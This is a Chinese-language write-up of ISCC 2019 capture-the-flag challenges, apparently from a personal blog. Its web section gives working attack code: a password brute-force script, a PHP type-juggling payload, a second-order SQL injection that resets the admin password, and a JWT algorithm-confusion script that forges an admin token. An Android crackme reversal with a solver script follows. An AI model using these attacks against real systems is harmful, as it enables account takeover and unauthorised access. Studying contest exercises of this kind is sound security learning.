- python实现一个思路，构建postdata跑就行了，单线程的话比BurpSuite慢，不过反正也就1000个，代码如下：

```python
import string
import requests

num = string.digits
pass_dict = [i + j + k for i in num for j in num for k in num]
# with open("dict.txt", "w") as f:
#     for each in pass_dict:
#         f.write(each + "\n")

url = "http://39.100.83.188:8002/login.php"
header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Cookie": "PHPSESSID=",
    "Connection": "close"
}

for each in pass_dict:
    post_data = {"username":"admin","pwd":each,"user_code":"","Login":"submit"}
    cookies   = {"PHPSESSID":""}
    r = requests.post(url, data=post_data,headers=header)
    if "flag" in r.text:
        print r.text
```

3. web1（200）

- 题目地址: web1
- 打开页面，看到php源码：

```php
<?php
error_reporting(0);
require 'flag.php';
$value = $_GET['value'];
$password = $_GET['password'];
$username = '';

for ($i = 0; $i < count($value); ++$i) {
    if ($value[$i] > 32 && $value[$i] < 127) unset($value);
    else $username .= chr($value[$i]);
    if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) {
        echo 'Hello '.$username.'!', '<br>', PHP_EOL;
        echo $flag, '<hr>';
    }
}

highlight_file(__FILE__);
```

- 大概意思就是通过get请求提交value和password,但是value值应该是’w3lc0me_To_ISCC2019’，但似乎不能是可见字符，也就是不能是直接的ascii值：
- 这里有两个技巧：

> （1）chr函数在转换时会自动取模256，所以我们只需要在原本ascii码基础上+256即可
> （2）intval()在处理16进制时存在问题，但强制转换时时正常的

- 所以这个题的payload是：

> http://39.100.83.188:8001/index.php?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1

- 构建payload并提交代码如下：

```
import requests

url = 'http://39.100.83.188:8001/?'
username = 'w3lc0me_To_ISCC2019'
value = ''
for each in username:
    arrays = 'value[]=' + str(ord(each)+256) + '&'
    value += arrays
password = 'password=2332e1'
payload = url + value + password
print payload
r = requests.get(payload)
idx = r.text.find('<hr>')
print r.text[0:idx]
```

4. web3（300）

- 题目地址: web3
- 这道题是sqlilabs的Less-24，思路几乎完全一样。
- 注册一个账户，用户名：admin'# 密码：123456
  然后用这个账户登录，修改密码，实际上修改的是admin的密码，然后以admin和修改后的密码登录就可以获得flag。
  不过好像是因为我做这道题时，题被大佬改了，才这么顺利，后来被修复了。
- 顺便放一下Less-24中修改密码部分的源码，注册admin'#相当于将$sql语句中的判断密码注释掉了。

```php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
if (isset($_POST['submit']))
{
  # Validating the user input.......
  $username= $_SESSION["username"];
  $curr_pass= mysqli_real_escape_string($con1, $_POST['current_password']);
  $pass= mysqli_real_escape_string($con1, $_POST['password']);
  $re_pass= mysqli_real_escape_string($con1, $_POST['re_password']);

  if($pass==$re_pass)
  {
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    $res = mysqli_query($con1, $sql) or die('You tried to be smart, Try harder!!!! :( ');
    $row = mysqli_affected_rows($con1);
    echo '<font size="3" color="#FFFF00">';
    echo '<center>';
    if($row==1)
    {
      echo "Password successfully updated";
    }
    else
    {
      header('Location: failed.php');
      //echo 'You tried to be smart, Try harder!!!! :( ';
    }
  }
  else
  {
    echo '<font size="5" color="#FFFF00"><center>';
    echo "Make sure New Password and Retype Password fields have same value";
    header('refresh:2, url=index.php');
  }
}
?>
```

5. web6（350）

- 题目地址: web6
- 主页提示要登陆admin才能看到一些东西，先右键查看源代码发现有注册，登陆功能，随手注册一个账号登陆，发现出现list功能，但是什么也看不到，并且通过抓包发现登录请求返回有jwt，解码发现包含了用户名等信息，那么就可以尝试通过修改jwt伪造admin身份。解码发现加密方式是RSA256，然后查看页面源码，发现common.js如下：

```javascript
function sleep(n) {
    var start = new Date().getTime();
    while (true) if (new Date().getTime() - start > n) break;
}

function login(){
    var username = $("#name").val();
    var password = $("#pass").val();
    $.ajax({
        url: '/login',
        type: 'POST',
        data: {'name': username,'pass': password},
        success:function(data) {
            result = data.result;
```

```
            if(result){
                var token = data.token;
                window.localStorage.setItem("token",token);
                window.location.href = "/user";
            }else{
                $('#login_error').html("login fail");
            }
        }
    });
}

function reg(){
    var regname = $("#regname").val();
    var regpass = $("#regpass").val();
    $.ajax({
        url: '/reg',
        type: 'POST',
        data: {"regname": regname,"regpass":regpass},
    })
    .success(function(data) {
        result = data.result;
        if(result){
            alert("register success");
            window.location.href = "/";
        }else{
            $('#reg_error').html("register fail");
        }
    });
}

function getlist(){
    token = window.localStorage.getItem("token");
    if (token==null||token==undefined){
        alert("u must login first");
        window.location.href = "/";
        return;
    }
    auth = "iscc19 " + token;
    $.ajax({
        url: '/list',
        type: 'GET',
        headers:{"Authorization":auth},
    })
    .success(function(data) {
        result = data.result;
        if(result){
            content = "the user " + data.username +" has these links:\n";
            for (var i in data.links){
                content = content + "/text/" + data.links[i] + "\n";
            }
            alert(content);
        }else{
            alert("list fail");
        }
    });
}

function paste(){
    var content = escape($("#content").val());
```

```
    token = window.localStorage.getItem("token");
    if (token==null||token==undefined){
        alert("u must login first");
        window.location.href = "/";
        return;
    }
    auth = "iscc19 " + token;
    $.ajax({
        url: '/paste',
        type: 'POST',
        headers:{"Authorization":auth},
        data: {"content": content},
    })
    .success(function(data) {
        result = data.result;
        if(result){
            alert("u can open it with:" + "/text/" + data.link);
        }else{
            alert("paste fail");
        }
    });

}

function logout(){
    localStorage.clear();
    window.location.href = "/";
}

function getpubkey(){
    /*
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}
```

- 注册、登录、登出函数没什么可说的，主要观察下面几个函数，查看link时，我们将会得到路径content + /text/ + link。事实上，我们随便注册的用户，在查看link时是什么都没有的，只有当我们是admin时，才能看到link。而这个路径就很可能是存放flag的路径。
- 发现getpubkey()函数，可以计算出路径，得到RSA公钥。然后更改加密方式为HS256并直接用公钥加密，算出jwt。
- 尝试用该jwt访问/list，果然得到了admin的link：admin:22f1e0aa7a31422ad63480aa27711277
  根据上面的分析，访问/text/admin:22f1e0aa7a31422ad63480aa27711277，得到flag。
  完整实现代码如下：

```python
# python 2.7, and it will get a different jwt result when you use python 3.
import re
import jwt  # pip install pyjwt==0.4.3, errors may occur in higher versions.
import hashlib
import requests

username   = 'bitadmin123'
password   = '123456'
url        = 'http://39.100.83.188:8053'
login_url  = url + r'/login'
pubkey_url = url + r'/pubkey/'
list_url   = url + r'/list'
flag_url   = url + r'/text/admin:'

post_data = {'name': username, 'pass':password}
r = requests.post(login_url, post_data)
token = re.search(r'"token":"(.*)"', r.text).group(1)
print "token:", token

md5_data = (username + password).encode('utf-8')
m = hashlib.md5()
m.update(md5_data)
str_md5 = m.hexdigest()

r = requests.get(pubkey_url+str_md5)
pubkey = re.search(b'"pubkey":"(.*)",', r.content).group(1)
pubkey = pubkey.replace('\\n', '\n')
print "RSA public key:", pubkey
new_jwt = jwt.encode({"name": username,"priv": "admin"}, key=pubkey, algorithm='HS256')

headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0',
    'Accept': '*/*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://39.100.83.188:8053/user',
    'Authorization': 'iscc19 ' + new_jwt,
    'X-Requested-With': 'XMLHttpRequest'
    }

r = requests.get(list_url, headers=headers)
link = re.search(r'"admin:(.*)"', r.text.split(',')[0]).group(1)

r = requests.get(flag_url+link)
print r.text
```

6. web5 (400)

- 题目地址：web5
- 思路是，在User-Agent中加上Union.373，通过post提交username和password，然后进行sql注入。但我注入很菜，没做出来。

Mobile

Mobile01

- 这道题困惑了我半个月，最后做出来时发现我的错误根源是'1'的ASCII值是49，'1'-49是0，而不是1，我被困在了小学数学上，允悲。
- apk题首先上jadx，得到java代码如下：

```
package com.iscc.crackme;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
    public native boolean checkSecond(String str);

    static {
        System.loadLibrary("native-lib");
    }

    /* Access modifiers changed, original: protected */
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView((int) R.layout.activity_main);
        final EditText editText = (EditText) findViewById(R.id.et_code);
        ((Button) findViewById(R.id.btn_register)).setOnClickListener(new OnClickListener() {
            public void onClick(View v) {
                String code = editText.getText().toString().trim();
                if (MainActivity.this.checkFirst(code) && MainActivity.this.checkSecond(code)) {
                    Toast.makeText(MainActivity.this, "注册成功!", 0).show();
                } else {
                    Toast.makeText(MainActivity.this, "注册失败!", 0).show();
                }
            }
        });
    }

    private boolean checkFirst(String code) {
        if (code.length() != 16) {
            return false;
        }
        int i = 0;
        while (i < code.length()) {
            if (code.charAt(i) > '8' || code.charAt(i) < '1') {
                return false;
            }
            i++;
        }
        return true;
    }
}
```

- 分析代码，发现对输入的注册码进行了两次校验，checkFirst()比较简单，大致就是输入的验证码长度为16位，且全部在字符'1'至'8'之间。checkSecond()没有被成功反汇编出来，应该在JNI层，那就把.so文件解压出来放到IDA里分析。从export里发现了Java_com_iscc_crackme_MainActivity_checkSecond 和 checkfirst、checkAgain。反汇编一下这三个函数。

```
char __fastcall Java_com_iscc_crackme_MainActivity_checkSecond(__int64 a1, __int64 a2, __int64 a3)
{
  char result; // al
  char v4; // [rsp+6h] [rbp-8Ah]
  char v5; // [rsp+13h] [rbp-7Dh]
  char v6; // [rsp+40h] [rbp-50h]
  char v7; // [rsp+58h] [rbp-38h]
  char v8; // [rsp+70h] [rbp-20h]
  unsigned __int64 v9; // [rsp+88h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  jstring2str(&v8, a1, a3);
  v5 = 0;
  std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::basic_string(&v7,
 &v8);
  v4 = 0;
  if ( checkfirst(&v7) & 1 )
  {
    std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::basic_string(&v
6, &v8);
    v5 = 1;
    v4 = checkAgain(&v6);
  }
  if ( v5 & 1 )
    std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&
v6);
  std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&v7
);
  std::__ndk1::basic_string<char,std::__ndk1::char_traits<char>,std::__ndk1::allocator<char>>::~basic_string(&v8
);
  result = v4 & 1;
  if ( __readfsqword(0x28u) == v9 )
    result = v4 & 1;
  return result;
}

__int64 __fastcall checkfirst(__int64 a1)
{
  signed __int64 v2; // [rsp+0h] [rbp-118h]
  signed __int64 v3; // [rsp+18h] [rbp-100h]
  signed int i; // [rsp+30h] [rbp-E8h]
  char v5; // [rsp+37h] [rbp-E1h]

  for ( i = 1; i < 8; ++i )
  {
    if ( *(_BYTE *)a1 & 1 )
      v3 = *(_QWORD *)(a1 + 16);
    else
      v3 = a1 + 1;
    if ( *(_BYTE *)a1 & 1 )
      v2 = *(_QWORD *)(a1 + 16);
    else
      v2 = a1 + 1;
    if ( *(char *)(v3 + i) <= *(char *)(v2 + i - 1) )
    {
      v5 = 0;
      return v5 & 1;
    }
  }
  v5 = 1;
```

```
  v5 = 1;
  return v5 & 1;
}

char __fastcall checkAgain(__int64 a1)
{
  char result; // al
  signed __int64 v2; // [rsp+10h] [rbp-170h]
  signed __int64 v3; // [rsp+20h] [rbp-160h]
  signed int l; // [rsp+3Ch] [rbp-144h]
  signed int k; // [rsp+40h] [rbp-140h]
  int j; // [rsp+44h] [rbp-13Ch]
  signed int i; // [rsp+48h] [rbp-138h]
  char v8; // [rsp+4Fh] [rbp-131h]
  int v9; // [rsp+130h] [rbp-50h]
  int v10; // [rsp+134h] [rbp-4Ch]
  int v11; // [rsp+148h] [rbp-38h]
  int v12; // [rsp+14Ch] [rbp-34h]
  int v13[10]; // [rsp+150h] [rbp-30h]
  unsigned __int64 v14; // [rsp+178h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  for ( i = 0; i < 8; ++i )
  {
    if ( *(_BYTE *)a1 & 1 )
      v3 = *(_QWORD *)(a1 + 16);
    else
      v3 = a1 + 1;
    v13[i] = *(char *)(v3 + i) - 49;
  }
  for ( j = 0; j < 8; ++j )
  {
    if ( *(_BYTE *)a1 & 1 )
      v2 = *(_QWORD *)(a1 + 16);
    else
      v2 = a1 + 1;
    *(&v9 + j) = *(char *)(v2 + j + 8) - 49;
  }
  if ( v12 + v9 == 5 )
  {
    if ( v11 + v10 == 12 )
    {
      if ( v9 < v12 )
      {
        for ( k = 1; k < 8; ++k )
        {
          for ( l = 0; l < k; ++l )
          {
            if ( v13[l] == v13[k] )
            {
              v8 = 0;
              goto LABEL_34;
            }
            if ( *(&v9 + l) == *(&v9 + k) )
            {
              v8 = 0;
              goto LABEL_34;
            }
            if ( v13[k] - v13[l] == *(&v9 + k) - *(&v9 + l) )
            {
```

```
            v8 = 0;
            goto LABEL_34;
          }
          if ( v13[k] - v13[l] == *(&v9 + l) - *(&v9 + k) )
          {
            v8 = 0;
            goto LABEL_34;
          }
        }
      }
      v8 = 1;
    }
    else
    {
      v8 = 0;
    }
  }
  else
  {
    v8 = 0;
  }
}
else
{
  v8 = 0;
}
LABEL_34:
result = v8;
if ( __readfsqword(0x28u) == v14 )
  result = v8 & 1;
return result;
}
```

- 反汇编代码比较乱，一点儿一点儿看，首先是checkSecond()，发现里面其实做了两次check，checkfirst()和checkAgain()，如果都正确就返回True。
- checkfirst()很简单，就是取注册码前八位，如果后一位小于等于前一位，就返回0，说明前八位是递增的，即12345678。
- checkAgain()复杂一点儿，把前八位放进了v13[]数组里，后八位依次放进了*(v9+i)里，这里注意观察v9、v10、v11、v12的位置，根据他们相对于esp的偏移量，可以知道v9是注册码第九位，v10是第十位，v11是第十五位，v12是第十六位。这里需要注意的是，输入的是字符的1-8，减去49之后，是数字0-7。然后关注这一段核心代码：

```
if (v12 + v9 == 5 )
 {
   if ( v11 + v10 == 12 )
   {
     if ( v9 < v12 )
     {
       for ( k = 1; k < 8; ++k )
       {
         for ( l = 0; l < k; ++l )
         {
           if ( v13[l] == v13[k] )
           {
             v8 = 0;
             goto LABEL_34;
           }
           if ( *(&v9 + l) == *(&v9 + k) )
           {
             v8 = 0;
             goto LABEL_34;
           }
           if ( v13[k] - v13[l] == *(&v9 + k) - *(&v9 + l) )
           {
             v8 = 0;
             goto LABEL_34;
           }
           if ( v13[k] - v13[l] == *(&v9 + l) - *(&v9 + k) )
           {
             v8 = 0;
             goto LABEL_34;
           }
         }
       }
       v8 = 1;
     }
     else
     {
       v8 = 0;
     }
   }
   else
   {
     v8 = 0;
   }
 }
```

- 我们关心的是程序如何运行到 v8 = 1 的位置，分析一下，说明注册码第9位加第16位等于5，第十位加第十五位等于12，且前八位和后八位分别是不重复的0到7，且前八位任意两位的差值与后八位对应两位的差值不同，写个脚本暴力破解一下，其实手算很快，我算法学的不好，代码写的很渣渣。

```python
num_list = [0, 1, 2, 3, 4, 5, 6, 7, 8]

# a[0] + a[7] == 5 = 0+5 = 1+4 = 2+3
# a[0] < a[7]
# a[1] + a[6] == 12 = 5+7
# a[0] 取1或2

def check(list):
    for i in range(1,8):
        for j in range(i):
            if num_list[i] - num_list[j] == list[i] - list[j]:
                return False
            elif num_list[i] - num_list[j] == list[j] - list[i]:
                return False
    return True

def get_code():
    for a0 in [1, 2]:
        a7 = 5 - a0
        for a1 in [5, 7]:
            a6 = 12 - a1
            a2map = [0, 1, 2, 3, 4, 6]
            a2map.remove(a0)
            a2map.remove(a7)
            for a2 in a2map:
                a3map = list(a2map)
                a3map.remove(a2)
                for a3 in a3map:
                    a4map = list(a3map)
                    a4map.remove(a3)
                    for a4 in a4map:
                        a5map = list(a4map)
                        a5map.remove(a4)
                        for a5 in a5map:
                            num = [a0, a1, a2, a3, a4, a5, a6, a7]
                            if check(num):
                                num = [str(i+1) for i in num]
                                return ''.join(num)

code = '12345678' + get_code()
print code
```